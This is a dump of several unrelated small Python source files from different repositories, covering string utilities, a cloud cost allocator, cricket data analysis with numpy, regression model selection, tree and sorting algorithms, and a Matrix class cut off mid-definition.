3.734375
4
# coding: utf8 from lang_conf import * def in_range(c, ranges): for cur_range in ranges: if c >= cur_range[0] and c <= cur_range[1]: return True return False def not_in_range(c, ranges): return not in_range(c, ranges) def all_in_range(chars, ranges): """ chars้‡Œๆ‰€ๆœ‰็š„ๅญ—็ฌฆ้ƒฝๅœจranges้‡Œ """ for c in chars: if c != ' ' and not_in_range(c, ranges): return False return True def has_in_range(chars, ranges): """ chars้‡Œๆœ‰ๅญ—็ฌฆๅœจranges้‡Œ""" for c in chars: if in_range(c, ranges): return True return False def all_in_list(chars, lst): for c in chars: if c not in lst: return False return True def replace_pos(chars, pos, replace_c): """ ๆŠŠcharsๅœจposๅค„็š„ๅญ—็ฌฆๆขๆˆreplace_c[้•ฟๅบฆๅฏไปฅไธไธบ1] """ result = chars[:pos] + replace_c + chars[pos+1:] return result def replace_poses(chars, poses, replace_c): """ ๅฏนไบŽposes้‡Œ็š„ๆฏไธ€ไธชpos๏ผŒๆŠŠword่ฏฅไฝ็ฝฎ็š„ๅญ—็ฌฆๆขๆˆreplace_c """ new_chars = '' poses.insert(0, -1) poses.sort() for i in range(len(poses) - 1): beg, end = poses[i], poses[i+1] new_chars += chars[beg+1:end] + replace_c new_chars += chars[poses[-1]+1:] return new_chars def discard_all_digits(chars): """ๅˆ ้™คๆ‹ผ้Ÿณไธญ็š„ๆ•ฐๅญ—""" digit_poses = [] for i, c in enumerate(chars): if in_range(c, digit_range): digit_poses.append(i) new_chars = replace_poses(chars, digit_poses, '') return new_chars def get_lcs(stra, strb): """ ่Žทๅ–stra, strb็š„ๆœ€้•ฟๅ…ฌๅ…ฑๅญๅบๅˆ—[ไธไธ€ๅฎš่ฟž็ปญ] ๅฆ‚๏ผšstr1 = u'ๆˆ‘็ˆฑๅŒ—ไบฌๅคฉๅฎ‰้—จ', str2 = u'ๆˆ‘ๅœจๅ…ฌๅธๅŒ—้—จ' lcs = u'ๆˆ‘ๅŒ—้—จ' """ la = len(stra) lb = len(strb) c = [[0]*(lb+1) for i in range(la+1)] for i in range(la-1,-1,-1): for j in range(lb-1,-1,-1): if stra[i] == strb[j]: c[i][j] = c[i+1][j+1] + 1 else: c[i][j] = max({c[i+1][j],c[i][j+1]}) i,j = 0,0 ret = '' while i < la and j < lb: if stra[i] == strb[j]: ret += stra[i] i += 1 j += 1 elif c[i+1][j] >= c[i][j+1] : i += 1 else: j += 1 return ret def get_remain_sequence(str1, str2, included=False): """ str1 ๅ’Œ str2 ้™คๅŽปๆœ€้•ฟๅ…ฌๅ…ฑๅญๅบๅˆ—ไน‹ๅŽๅ‰ฉไธ‹็š„ๅบๅˆ— ๅฆ‚๏ผšstr1 = u'ๆˆ‘็ˆฑๅŒ—ไบฌๅคฉๅฎ‰้—จ', str2 = u'ๆˆ‘ๅœจๅ…ฌๅธๅŒ—้—จ' remain_sequence = u'็ˆฑไบฌๅคฉๅฎ‰ๅœจๅ…ฌๅธ' ๅ…ถไธญ๏ผšincluded่กจ็คบ๏ผŒstr1ๆ˜ฏๅฆๆ˜ฏstr2็š„ไธ€ไธชๅญๅบๅˆ— """ result = '' if not included: lcs_result = get_lcs(str1, str2) result += get_remain_sequence(lcs_result, str1, True) result += get_remain_sequence(lcs_result, str2, True) return result else: if not str1: return str2 lcs_result = str1 lcs_index = 0 for i, s in enumerate(str2): if s != lcs_result[lcs_index]: result += s else: lcs_index += 1 if lcs_index == len(lcs_result): result += str2[i+1:] break return result def get_chinese_sequence(word): result = '' for c in word: if in_range(c, chinese_range): result += c return result def get_row_num(filepath): count = -1 for count, line in enumerate(open(filepath, 'rU')): pass count += 1 return count
6e5ec4961de30d568666b590ffbbbb6f5e6011d3
SurajB/resource_allocator
/resource_allocator.py
5,033
3.578125
4
from operator import itemgetter #Intialization sorted_lst_west = [] sorted_lst_east = [] west_server_lst = [] east_server_lst = [] output_lst = [] server_dict = { "large": 1, "xlarge": 2, "2xlarge": 4, "4xlarge": 8, "8xlarge": 16, "10xlarge": 32 } def get_costs(instances, hours = 0, cpus = 0, price = 0): #Finding the costs per CPU for each server for k, v in instances.items(): for key in v.keys(): v[key] = v[key]/server_dict[key] #print("Cost per CPU: " + str(instances)) #Sorting the dictionary based on values for key, value in instances.items(): if key == "us-west": [ (sorted_lst_west.append((k, v))) for k, v in sorted(value.items(), key = itemgetter(1))] else: [ (sorted_lst_east.append((k, v))) for k, v in sorted(value.items(), key = itemgetter(1))] #print("Sorted list of us_west: " + str(sorted_lst_west)) #print("Sorted list of us_east: " + str(sorted_lst_east)) #Logic is to find the optimized solution when only no of CPUs and no of hours are given if (cpus != 0 or cpus != None) and (price == 0 or price == None): west_server_lst, west_cost, east_server_lst, east_cost = cpus_hours(instances, hours, cpus, price, sorted_lst_west, sorted_lst_east) #Logic to find the optimized solution when only price and no of hours are given elif (price != 0 or price != None) and (cpus == 0 or cpus == None): west_server_lst, west_cost, east_server_lst, east_cost = price_hours(instances, hours, cpus, price, sorted_lst_west, sorted_lst_east) #Logic to find optimized solution when no of cpus, price and no of hours are given elif (cpus != 0 or cpus != None) and (price != 0 or price != None): west_server_lst, west_cost, east_server_lst, east_cost = cpus_hours(instances, hours, cpus, price, sorted_lst_west, sorted_lst_east) if (west_cost * 24) > price and (east_cost * 24) > price: return "There is no optimal solution for the given inputs: cpus - {}, price - ${}, hours - {}".format(cpus, price, hours) elif (west_cost * 24) < price and (east_cost * 24) > price: output_lst.append({ "region": "us-west", "total_cost": "$" + str(west_cost * hours), "servers": west_server_lst}) return output_lst elif (west_cost * 24) > price and (east_cost * 24) < price: output_lst.append({ "region": "us-east", "total_cost": "$" + str(east_cost * hours), "servers": east_server_lst}) return output_lst #Final output list if west_cost < east_cost: output_lst.append({ "region": "us-west", "total_cost": "$" + str(west_cost * hours), "servers": west_server_lst}) output_lst.append({ "region": "us-east", "total_cost": "$" + str(east_cost * hours), "servers": east_server_lst}) else: output_lst.append({ "region": "us-east", "total_cost": "$" + str(east_cost * hours), "servers": east_server_lst}) output_lst.append({ "region": "us-west", "total_cost": "$" + str(west_cost * hours), "servers": west_server_lst}) return output_lst def cpus_hours(instances, hours, cpus, price, sorted_lst_west, sorted_lst_east): cpu_var = cpus west_cost = east_cost = 0 for item in sorted_lst_west: if cpu_var >= int(server_dict[item[0]]): np_of_servers = cpu_var // server_dict[item[0]] cpu_var = cpu_var % server_dict[item[0]] west_server_lst.append((item[0], np_of_servers)) west_cost += (np_of_servers * instances["us-west"][item[0]] * server_dict[item[0]]) else: continue cpu_var = cpus for item in sorted_lst_east: if cpu_var >= int(server_dict[item[0]]): np_of_servers = cpu_var // server_dict[item[0]] cpu_var = cpu_var % server_dict[item[0]] east_server_lst.append((item[0], np_of_servers)) east_cost += (np_of_servers * instances["us-east"][item[0]] * server_dict[item[0]]) else: continue print("Optimial solution based on the given inputs: cpus - {}, hours - {}".format(cpus, hours)) return west_server_lst, west_cost, east_server_lst, east_cost def price_hours(instances, hours, cpus, price, sorted_lst_west, sorted_lst_east): price_per_hour = float(price)/hours west_cost = east_cost = 0 for item in sorted_lst_west: if price_per_hour > (item[1] * server_dict[item[0]]): no_of_servers = int(price_per_hour // (item[1] * server_dict[item[0]])) price_per_hour = price_per_hour % (item[1] * server_dict[item[0]]) west_server_lst.append((item[0], no_of_servers)) west_cost += (no_of_servers * instances["us-west"][item[0]] * server_dict[item[0]]) else: continue price_per_hour = float(price)/hours for item in sorted_lst_east: if price_per_hour > (item[1] * server_dict[item[0]]): no_of_servers = int(price_per_hour // (item[1] * server_dict[item[0]])) price_per_hour = price_per_hour % (item[1] * server_dict[item[0]]) east_server_lst.append((item[0], no_of_servers)) east_cost += (no_of_servers * instances["us-east"][item[0]] * server_dict[item[0]]) else: continue print("Optimial solution based on the given inputs: price - ${}, hours - {}".format(price, hours)) return west_server_lst, west_cost, east_server_lst, east_cost
198f794713f011457d34745f16b32e6057e02ec5
Sairaj9604/Alphabet-pattern-using-python
/j.py
406
3.890625
4
print("I") for row in range(7): for col in range(5): if (row ==0): print("*", end=" ") elif (row in {1,2,3,4}) and (col ==2): print("*", end=" ") elif (row ==5) and (col in{0,2}): print("*", end=" ") elif (row ==6) and (col ==1): print("*", end=" ") else: print(" ", end=" ") print()
3bd1002ef0377f38e5d98d1e163c721a5c66e8b4
soham0511/Python-Programs
/PYTHON PROGRAMS/conditional.py
171
4.25
4
a=45 if(a>3): print("Value of a is greater than 3") elif(a>6): print("Value of a is greater than 7") else: print("Value of a is not greater than 3 or 7")
22dc36de5686070bc61a6dcea0cb43d2612c0b2c
soham0511/Python-Programs
/PYTHON PROGRAMS/04vardtypes.py
329
3.96875
4
a="Soham"#string b="42"#integer c=4081.12#floating point integer print(a) print(b) print(c) #print(a+" "+b+" "+c) error integer c cannot be concatenated to string because unlike java string #is not the default datatype print(a+" "+b)#no problem since 42 is a string print(type(c)) #printing the datatype print(type(a))
8db11a8c475c03280d69d97b8a6538300a5be654
tatendafmukaro/heart_rate
/heart_rate.py
801
3.921875
4
""" When you physically exercise to strengthen your heart, you should maintain your heart rate within a range for at least 20 minutes. To find that range, subtract your age from 220. This difference is your maximum heart rate per minute. Your heart simply will not beat faster than this maximum (220 - age). When exercising to strengthen your heart, you should keep your heart rate between 65% and 85% of your heart's maximum. """ # Check Point 1 by Felix user_age = int(input(" Please enter your age: ")) maximum_range = 220 - user_age lower_percentage = maximum_range * 0.65 higher_percentage = maximum_range * 0.85 print(f"When you exercise to strengthen your heart, you should keep your heart rate between {lower_percentage: .0f} and {higher_percentage: .0f} beats per minute.")
16438c5bf345d608ff8416edc5289ea7272ec016
StevenGhow/For_Junyi
/2_multiple.py
211
3.734375
4
num = int(input("input:")) result = [] for ii in range(1, num+1): if ii % 5 == 0 and ii % 3 == 0: result.append(ii) elif ii % 5 != 0 and ii % 3 != 0: result.append(ii) print(len(result))
2e0d104b9aaf7b2c3dd993db7f548731ba4179e5
vesche/juc2
/examples/example_06.py
784
3.578125
4
#!/usr/bin/env python """ juc2/examples/example_06.py Draw a bunch of rectangles and move them around at random. ^_^ """ import random from juc2 import art, Stage HEIGHT = 40 WIDTH = 100 stage = Stage(height=HEIGHT, width=WIDTH) rectangles = list() for i in range(30): d, x, y = random.randint(3, 8), random.randint(10, WIDTH-10), random.randint(10, HEIGHT-10) rectangles.append(art.Shapes.Rectangle(width=d, height=d//2+1, x=x, y=y)) while True: stage.draw(rectangles, FPS=12) for r in rectangles: if r.x >= WIDTH-8 or r.y >= HEIGHT-8: r.x -= 1 r.y -= 1 elif r.x <= 8 or r.y <= 8: r.x += 1 r.y += 1 else: m = random.choice([-1, 1]) r.x += m r.y += m
81525e42c8fa2cd5d7dc6b5f2aab5e7370d9bc5f
palashsharma891/Algorithms-in-Python
/2. Trees/3. Special Techniques/lca.py
907
3.578125
4
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Wed Jul 21 12:22:57 2021 @author: palash """ def get_path_from_root(root, val): def dfs(root, val, path): if root is None: return else: path.append(root) # add to path if root.val == val or dfs(root.left, path) or dfs(root.right, path): return True path.pop() # remove while backtracking return False path = [] dfs(root, val, path) return path def lca(root, val1, val2): path1 = get_path_from_root(root, val1) path2 = get_path_from_root(root, val2) last_common = None i = j = 0 while i < len(path1) and j < len(path2): if path1[i] == path2[j]: last_common = path1[i] i += 1 j += 1 else: break return last_common
2aab194aba65b1e511a7b9d2d29ccd016edaae70
palashsharma891/Algorithms-in-Python
/6. Searching and Sorting/countingSort.py
518
3.953125
4
def countingSort(array): size = len(array) output = [0] * size count = [0] * 10 for i in range(size): count[array[i]] += 1 for i in range(1, 10): count[i] += count[i-1] i = size - 1 while i >= 0: output[count[array[i]] - 1] = array[i] count[array[i]] -= 1 i -= 1 for i in range(size): array[i] = output[i] data = [8, 7, 2, 1, 0, 9, 6] countingSort(data) print('Sorted Array is:') print(data)
c16a74d047966190473065d6b9d16e619dec7814
palashsharma891/Algorithms-in-Python
/2. Trees/3. Special Techniques/existsInTree.py
356
3.859375
4
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Wed Jul 21 11:43:34 2021 @author: palash """ def existsInTree(root, value): if root is None: return False else: leftExist = existsInTree(root.left, value) rightExist = existsInTree(root.right, value) return root.data == val or leftExist or rightExist
72e84ca9b62056459a760f02f775cd5b59d0d801
palashsharma891/Algorithms-in-Python
/6. Searching and Sorting/bubbleSort.py
309
4.34375
4
def bubbleSort(array): for i in range(len(array)): for j in range(0, len(array) - i - 1): if array[j] > array[j+1]: (array[j], array[j+1]) = (array[j+1], array[j]) data = [-2, 45, 0, 11, -9] bubbleSort(data) print("Sorted array is: ") print(data)
5ebe70d52484369c71fda2eab422b34274ce05d5
sanrenyimu/identifying-critical-nodes
/algrtm2.py
3,035
3.5
4
import copy, math # Reads the Graph from file Vertices = int(input('enter Number of Vertices: ')) k_bound = int(input('enter k_bound or enter 0: ')) if k_bound == 0: k_bound = math.ceil(0.36 * Vertices) # file_name = input("enter data file name (e: file_name.txt): ") my_file = list(open("graph_sample.txt", 'r')) # graph_sample.txt edge = [] for line in my_file: edge.append(line) edge = [x.strip() for x in edge] graph = [ [] for i in range(Vertices) ] edg_control = [] # Consists of edges only appeared once -> edges for data in edge: u, v = data.split() u, v = int(u), int(v) if ( (u,v) in edg_control ) or ( (v,u) in edg_control ): continue graph[u].append(v) graph[v].append(u) edg_control.append((u,v)) edg_control.append((v,u)) # Representing Equation 1 def func(concom): return concom*(concom - 1) / 2 # Removes vertex v from graph G def remove_vertex(graph, v_star): nodes = graph[v_star] for u in nodes: graph[u].remove(v_star) graph[v_star] = [] # Appendix def evaluate(v, visited, ap, parent, low, disc, time, subt_size, impact, cut_size): children = 0 visited[v] = True disc[v] = time low[v] = time time += 1 for u in graph[v]: if visited[u] == False: parent[u] = v children += 1 subt_size[u] = 1 impact[u] = 0 evaluate(u, visited, ap, parent, low, disc, time, subt_size, impact, cut_size) # Check if the subtree rooted with u has a connection to # one of the ancestors of v low[v] = min(low[v], low[u]) # (1) v IS root of DFS tree and has two or more chilren. if parent[v] == -1 and children > 1: ap[v] = True #(2) If v IS NOT root and low value of one of its child is more # than discovery value of v. if parent[v] != -1 and low[u] >= disc[v]: ap[v] = True cut_size[v] += subt_size[u] impact[v] += func(subt_size[u]) # Update low value of u for parent function calls elif u != parent[v]: low[v] = min(low[v], disc[u]) # ap == articulation point def art_point(): removed = [] visited = [False]*Vertices disc = [0]*Vertices low = [0]*Vertices cut_size = [0]*Vertices subt_size = [0]*Vertices impact = [0]*Vertices parent = [-1]*Vertices ap = [False]*Vertices time = 0 for node in range(Vertices): if visited[node] == False: evaluate(node, visited, ap, parent, low, disc, time, subt_size, impact,cut_size) # Removes the APs for index, value in enumerate(ap): if len(removed) < k_bound and value == True: remove_vertex(graph, index) removed.append(index) for v, check in enumerate(visited): if check: if ap[v]: impact[v] += func(time - cut_size[v]) else: impact[v] += func(time - 1) print(removed, ap) art_point()
e0f739400b81672043e5dc2a56457b1e808b4b09
YangXiaozhou/IE5202-Project-1
/util_formula.py
8,189
3.65625
4
import statsmodels.formula.api as smf import statsmodels.api as sm import pandas as pd import numpy as np from sklearn.cross_validation import KFold import itertools """ The function obtain the model fitting results feature_set: is the collection of input predictors used in the model data: is the dataframe containing all data y: is the response vector @return: a Series of quantities related to the model for model evaluation and selection """ def modelFitting(y, feature_set, data): # Fit model on feature_set and calculate RSS formula = y + '~' + '+'.join(feature_set) # fit the regression model model = smf.ols(formula=formula, data=data).fit() return model; """ The function obtain the results given a regression model feature set feature_set: is the collection of input predictors used in the model data: is the dataframe containing all data y: is the response vector @return: a Series of quantities related to the model for model evaluation and selection """ def processSubset(y, feature_set, data): # Fit model on feature_set and calculate RSS try: regr = modelFitting(y, feature_set, data); R2 = regr.rsquared; ar2 = regr.rsquared_adj; sse = regr.ssr; return {"model":feature_set, "SSE": sse, "R2":-R2, "AR2": -ar2, "AIC": regr.aic, "BIC": regr.bic, "Pnum": len(feature_set)} except: return {"model": ["1"], "SSE": float("inf"), "R2": 0, "AR2": 0, "AIC": float("inf"), "BIC": float("inf"), "Pnum": 0} """ The function find the regression results for all predictor combinations with fixed size k: is the number of predictors (excluding constant) data: is the dataframe containing all data X: is the predictor name list y: is the response vector @return: a dataframe containing the regression results of the evaluated models """ def getAll(k, y, X, data): results = [] # evaluate all the combinations with k predictors for combo in itertools.combinations(X, k): results.append(processSubset(y, combo, data)) # Wrap everything up in a nice dataframe models = pd.DataFrame(results); models['Pnum'] = k; print("Processed ", models.shape[0], "models on", k, "predictors") # Return the best model, along with some other useful information about the model return models """ The function find the Mallow's Cp based on the full model and existing regression results models: is the dataframe containing the regression results of different models fullmodel: is the model containing all predictors to calculate the Cp statistic @return: a dataframe of models with Cp statistics calculated """ def getMallowCp(models, fullmodel): nobs = fullmodel.nobs; sigma2 = fullmodel.mse_resid; models['Cp'] = models['SSE']/sigma2 + 2*(models['Pnum']+1) - nobs return models """ The function find the best models among all lists using the criterion specified models: is the dataframe containing the regression results of different models criterion: is the selection critierion, can take values "AIC", "BIC", "Cp", "AR2", "R2" (only for educational purpose) k: is the number of predictors as the constraints, if None, all models are compared @return: the best model satisfied the requirement """ def findBest(models, criterion='AIC', k=None): # the list of models with given predictor number if k is None: submodels = models; else: submodels = models.loc[models['Pnum']==k,]; # Use the criterion to find the best one bestm = submodels.loc[submodels[criterion].idxmin(0), ]; # return the selected model return bestm; """ The function use forward selection to find the best model given criterion models: is the dataframe containing the regression results of different models X: is the name list of all predictors to be considered y: is the response vector data: is the dataframe containing all data criterion: is the selection critierion, can take values "AIC", "BIC", "Cp", "AR2", "R2" (only for educational purpose) fullmodel: is the full model to evaluate the Cp criterion @return: the best model selected by the function """ def forward(y, X, data, criterion="AIC", fullmodel = None): remaining = X; selected = [] basemodel = processSubset(y, '1', data) current_score = basemodel[criterion] best_new_score = current_score; while remaining: # and current_score == best_new_score: scores_with_candidates = [] for candidate in remaining: # print(candidate) scores_with_candidates.append(processSubset(y, selected+[candidate], data)) models = pd.DataFrame(scores_with_candidates) # if full model is provided, calculate the Cp if fullmodel is not None: models = getMallowCp(models, fullmodel); best_model = findBest(models, criterion, k=None) best_new_score = best_model[criterion]; if current_score > best_new_score: selected = best_model['model']; remaining = [p for p in X if p not in selected] print(selected) current_score = best_new_score else : break; model = modelFitting(y, selected, data) return model """ The function use backward elimination to find the best model given criterion models: is the dataframe containing the regression results of different models X: is the name list of all predictors to be considered y: is the response vector data: is the dataframe containing all data criterion: is the selection critierion, can take values "AIC", "BIC", "Cp", "AR2", "R2" (only for educational purpose) fullmodel: is the full model to evaluate the Cp criterion @return: the best model selected by the function """ def backward(y, X, data, criterion="AIC", fullmodel = None): remaining = X; removed = [] basemodel = processSubset(y, remaining, data) current_score = basemodel[criterion] best_new_score = current_score; while remaining: # and current_score == best_new_score: scores_with_candidates = [] for combo in itertools.combinations(remaining, len(remaining)-1): scores_with_candidates.append(processSubset(y, combo, data)) models = pd.DataFrame(scores_with_candidates) # if full model is provided, calculate the Cp if fullmodel is not None: models = getMallowCp(models, fullmodel); best_model = findBest(models, criterion, k=None) best_new_score = best_model[criterion]; if current_score > best_new_score: remaining = best_model['model']; removed = [p for p in X if p not in remaining] print(removed) current_score = best_new_score else : break; model = modelFitting(y, remaining, data) return model """ The function compute the cross validation results X: is the dataframe containing all predictors to be included y: is the response vector data: is the dataframe of all data kf: is the kfold generated by the function @return: the cross validated MSE """ def CrossValidation(y, X, data, kf): MSE = [] MAE = [] formula = y + '~' + '+'.join(X) # evaluate prediction accuracy based on the folds for train_index, test_index in kf: d_train, d_test = data.ix[train_index,], data.ix[test_index,] # fit the model and evaluate the prediction lmfit = smf.ols(formula=formula, data=d_train).fit() y_pred = lmfit.predict(d_test) rev_tran_d_test = np.power(d_test, 3) rev_tran_y_pred = np.power(y_pred, 3) mse = ((rev_tran_y_pred - rev_tran_d_test[y]) ** 2).mean(); mae = (abs(rev_tran_y_pred-rev_tran_d_test[y])).mean(); MSE.append(mse); MAE.append(mae) # Wrap everything up in a nice dataframe return {"MSE": MSE, "MAE": MAE}
a2cf46db68ef3b309185e0e7802714fe37cbf10a
ju-c-lopes/Logica-de-programacao
/Python/mediaidades.py
273
3.8125
4
print("Digite as idades") idade = int(input()) soma = 0 cont = 0 if idade < 0: print("IMPOSSIVEL CALCULAR") else: while idade > 0: soma = soma + idade cont = cont + 1 idade = int(input()) media = soma / cont print(f"Media = {media:.2f}")
efa5c33af7feb138defc048e2db956e558f4d4af
ju-c-lopes/Logica-de-programacao
/Python/variavel_for_teste.py
69
3.65625
4
x: int y: int i: int x = 0 y = 5 for i in range(x,y): print(i)
7021ceb11212b0da3e5e8af79d315ce60dc58cc9
MarkJasonE/LandingSitesOnMars
/elevation_profile.py
1,424
3.5625
4
""" A side view from west to east through Olympus Mons. This will allow to extract meaningful insights regarding the smoothness of a surface and visualize its topography.""" from PIL import Image, ImageDraw import matplotlib.pyplot as plt from utils import save_fig #Get x and z val along the horizontal profile, parallel to y coords y_coord = 202 im = Image.open("images/mola_1024x512_200mp.jpg").convert("L") width, height = im.size x_vals = [x for x in range(width)] z_vals = [im.getpixel((x, y_coord)) for x in x_vals] #Draw the profile on MOLA img draw = ImageDraw.Draw(im) draw.line((0, y_coord, width, y_coord), fill=255, width=3) draw.text((100, 165), "Olympus Mons", fill=255) im.save("images/mola_elevation_line.png") im.show() #Make an interactive plot for the elevation profile """ There should be a plateu between x=740 to x=890 """ fig, ax = plt.subplots(figsize=(9, 4)) axes = plt.gca() axes.set_ylim(0, 400) ax.plot(x_vals, z_vals, color="black") ax.set(xlabel="x-coordinates", ylabel="Intensity (Height)", title="Mars Elevation Profile (y = 202)") ratio = 0.15 #Reduces vertical exaggeration in profile plot xleft, xright = ax.get_xlim() ybase, ytop = ax.get_ylim() ax.set_aspect(abs((xright-xleft)/(ybase-ytop)) * ratio) plt.text(0, 310, "WEST", fontsize=10) plt.text(980, 310, "EAST", fontsize=10) plt.text(100, 280, "Olympus Mons", fontsize=8) save_fig("mars_elevation_profile") plt.show()
5cd68fffc941d9c770a1b944052c4f08f69069f2
xmichelle26x/pairprogramming_tennis
/functions.py
1,186
3.53125
4
points = 0 playerOne = 0 playerTwo = 0 point = [0, 15, 30, 40] playerOne = { "zero": 0, "fifteen": 15, "thirty": 30, "forty": 40, "name": "playerOne" } class Player: def __init__(self, score): self.score = score def setear_score(self, score): self.score = score playerOneClass = Player(0) playerTwoClass = Player(0) def add_point(player, points_array, index): player.setear_score(points_array[index]) def sumpoints(): if playerOne == 0 and playerTwo == 0: print("PlayerOne {0} PlayerTwo {1}".format(playerOne, playerTwo)) if playerOne == 30 and playerTwo == 15: print("PlayerOne {0} PlayerTwo {1}".format(playerOne, playerTwo)) if playerOne == 40 and playerTwo == 40: print("Deuce") if playerOne == 41 and playerTwo == 40: print("Advantage PlayerOne") if playerOne == 40 and playerTwo == 41: print("Advantage PlayerTwo") if playerOne == 40 and playerTwo == 42: print("PlayerTwo wins") if __name__ == '__main__': # INICIAR JUEGO add_point(playerOneClass, point, 1) print(playerOneClass.score)
6c2730d080f8c443030873e79131619df41f93c4
dbaleeds/DataPrep
/Thresholds/thresholdsCSV.py
748
3.859375
4
# -*- coding: utf-8 -*- """ Created on Thursday Dec 11 15:19:00 2018 @author: dbaleeds A script to render data to acceptable thresholds for output """ import pandas as pd import csv import re #set the threshold threshold = 5 #set what the value should show if it falls below the threshold placeholder = '<5' #set the columns for which the outputs should be truncated truncateColumns = ["question1","question2","question3","question4","question5","question6","question7","question8","question9","question10"] data = pd.read_csv("Thresholds/thresholds.csv",usecols=truncateColumns) for column in truncateColumns: print(column) data[column] = data[column].astype(str).str.replace(r'^[0-'+str(threshold)+']{1}$',placeholder) print(data)
83bb60faab926793651b498c42a3dbe47059b64a
sushvk/manipulating-data-with-numpy-code-along
/code.py
2,052
3.78125
4
# -------------- import numpy as np # Not every data format will be in csv there are other file formats also. # This exercise will help you deal with other file formats and how toa read it. data_ipl =np.genfromtxt(path,delimiter =',',dtype='str',skip_header=True) #data_ipl[1:5,:] matches = data_ipl[:,0] print(len(set(matches))) # How many matches were held in total we need to know so that we can analyze further statistics keeping that in mind. team_1 = set(data_ipl[:,3]) team_2 = set(data_ipl[:,4]) print(team_1) print(team_2) all_teams =team_1.union(team_2) print("the set of all the team palyed ",all_teams) # this exercise deals with you getting to know that which are all those six teams that played in the tournament. extras_data = data_ipl[:,17] extras_data_int = extras_data.astype(int) print(extras_data_int) is_extra= extras_data_int[extras_data_int>0] filtered_data = extras_data_int[is_extra] print("the total extras are ",sum(extras_data_int)) print("the toral number of extras in all matches",len(filtered_data)) # An exercise to make you familiar with indexing and slicing up within data. # Get the array of all delivery numbers when a given player got out. Also mention the wicket type. given_batsman = 'ST Jayasuriya' is_out =data_ipl[:,-3] == given_batsman output_data =data_ipl[:,[11,-2]] print(output_data[is_out]) # this exercise will help you get the statistics on one particular team toss_winner_data =data_ipl[:,5] given_team = 'Mumbai Indians' toss_winner_given_team =toss_winner_data == given_team print(toss_winner_given_team) filtered_match_number =data_ipl[toss_winner_given_team,0] print('the num of matches',given_batsman,'won the toss is',len(set(filtered_match_number))) # An exercise to know who is the most aggresive player or maybe the scoring player runs_data =data_ipl[:,-7].astype(int) runs_data_mask=runs_data ==6 sixer_batsman =(data_ipl[runs_data_mask,-10]) from collections import Counter sixer_counter =Counter(sixer_batsman) print(sixer_counter) print(max(sixer_counter,key=sixer_counter.get))
768546b334da56514b948f5ad6da2e9fd69fa74b
ljjhpu/untitled
/521.py
1,046
3.78125
4
# class Solution: # def jumpFloor(self, number): # # write code here # if number == 1: # return 1 # elif number == 2: # return 2 # else : # res = self.jumpFloor(number - 1) + self.jumpFloor(number - 2) # return res # ๅฎž็Žฐๆ–ๆณข้‚ฃๅฅ‘ๆ•ฐๅˆ— """ 1,2,3,5,8,13๏ผŒ........ """ # # # def Fib(n): # if n == 1: # return 1 # if n == 2: # return 2 # return Fib(n - 1) + Fib(n - 2) # # # print(Fib(5)) """ ้ข˜1๏ผš ๅพช็Žฏๆ‰“ๅฐ่พ“ๅ…ฅ็š„ๆœˆไปฝ็š„ๅคฉๆ•ฐ๏ผˆไฝฟ็”จcontinueๅฎž็Žฐ๏ผ‰ - ่ฆๆœ‰ๅˆคๆ–ญ่พ“ๅ…ฅ็š„ๆœˆไปฝๆ˜ฏๅฆ้”™่ฏฏ็š„่ฏญๅฅ """ def InputDate(): while True: year = int(input("่ฏท่พ“ๅ…ฅๅนด๏ผš")) month = int(input("่ฏท่พ“ๅ…ฅๆœˆ๏ผš")) monthLis = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12] if month in monthLis: date = int(input("่ฏท่พ“ๅ…ฅๆ—ฅ๏ผš")) print("{}ๅนด{}ๆœˆ{}ๆ—ฅ".format(year, month, date)) else: print("่พ“ๅ…ฅๆœˆไปฝ้”™่ฏฏ๏ผ") InputDate()
0e90bcaea3c896ad3727d5a1eee3bd67e2adbf5b
phvash/NPCore
/phvash/problem sets/xtreme11/quipy1.py
2,017
3.71875
4
# Case N == D return 1 # Case N is prime and not a factor of D, return 2 # Case N is not prime and not a factor of D, return length of # list containing factors of N # Case N # def factors(n): # return set(x for tup in ([i, n//i] # for i in range(1, int(n**0.5)+1) if n % i == 0) for x in tup) from math import sqrt def factors(n): myList = [] for i in range(1, int(sqrt(n)) + 1): if n % i == 0: if (i != n/i): myList.append(i) myList.append(n // i) else: myList.append(i) return sorted(myList) def solve(N, D): ''' returns the length of multiples of D that are factors of N ''' global factors_list # Case N == D return 1 if N == D: return 1 elif N % D != 0: return 0 elif N % D == 0: sum = 1 N_DUP = N q = N while q >= D: # print("N: ", N) q = N // D r = N % D if r == 0: if N == D: break N = q sum += 1 continue else: # print('sum: ', sum) # print('list: ', factors_list) next_multiple = factors_list[-(sum + 1)] # print('next_multiple: ', next_multiple) N = next_multiple continue return sum def main(N, D): global factors_list factors_list = factors(N) diff = len(factors_list) - solve(N, D) return diff t, lower_bound, upper_bound = [int(i) for i in input().strip(" ").split(" ")] for x in range(t): D = int(input()) score = 0 for N in range(lower_bound, upper_bound+1): score += main(N, D) # print('score: ', score) print(score) # print(main(6, 3)) # score = 0 # for N in range(3, 6+1): # score += main(N, 3) # print('score: ', score) # print(main(6, 3)) # print(factors(2139289728972897))
e2e9694cd6916afb6541d608f340a88579221dba
khiner/simple_matrix
/matrix.py
10,142
3.859375
4
class Matrix: def __init__(self, n_rows_or_list = 0, n_columns = 0): if isinstance(n_rows_or_list, list): self.n_rows = len(n_rows_or_list) if self.n_rows > 0 and isinstance(n_rows_or_list[0], list): self.n_columns = len(n_rows_or_list[0]) else: self.n_columns = 1 else: if isinstance(n_rows_or_list, (int, long)): self.n_rows = n_rows_or_list self.n_columns = n_columns else: print 'Don\'t know what to do with a ' + type(n_rows_or_list) + ' constructor. Defaulting to an empty 0-d matrix' self.n_rows = self.n_columns = 0 self.rows = [[0 for i in range(self.n_columns)] for j in range(self.n_rows)] if isinstance(n_rows_or_list, list): for row_index, row_value in enumerate(n_rows_or_list): if isinstance(row_value, list): for column_index, column_value in enumerate(row_value): self[row_index][column_index] = column_value else: self[row_index][0] = row_value def __add__(self, other): if isinstance(other, Matrix): return self.__plus_matrix(other) elif isinstance(other, (int, long, float, complex)): return self.__plus_scalar(other) else: print 'Do not know how to add a ' + type(other) + ' to a matrix.' return self def __sub__(self, other): if isinstance(other, Matrix): return self.__minus_matrix(other) elif isinstance(other, (int, long, float, complex)): return self.__plus_scalar(-other) else: print 'Do not know how to subtract a ' + type(other) + ' from a matrix.' return self def __mul__(self, other): if isinstance(other, Matrix): return self.__times_matrix(other) elif isinstance(other, list): return self.__times_matrix(Matrix(other)) elif isinstance(other, (int, long, 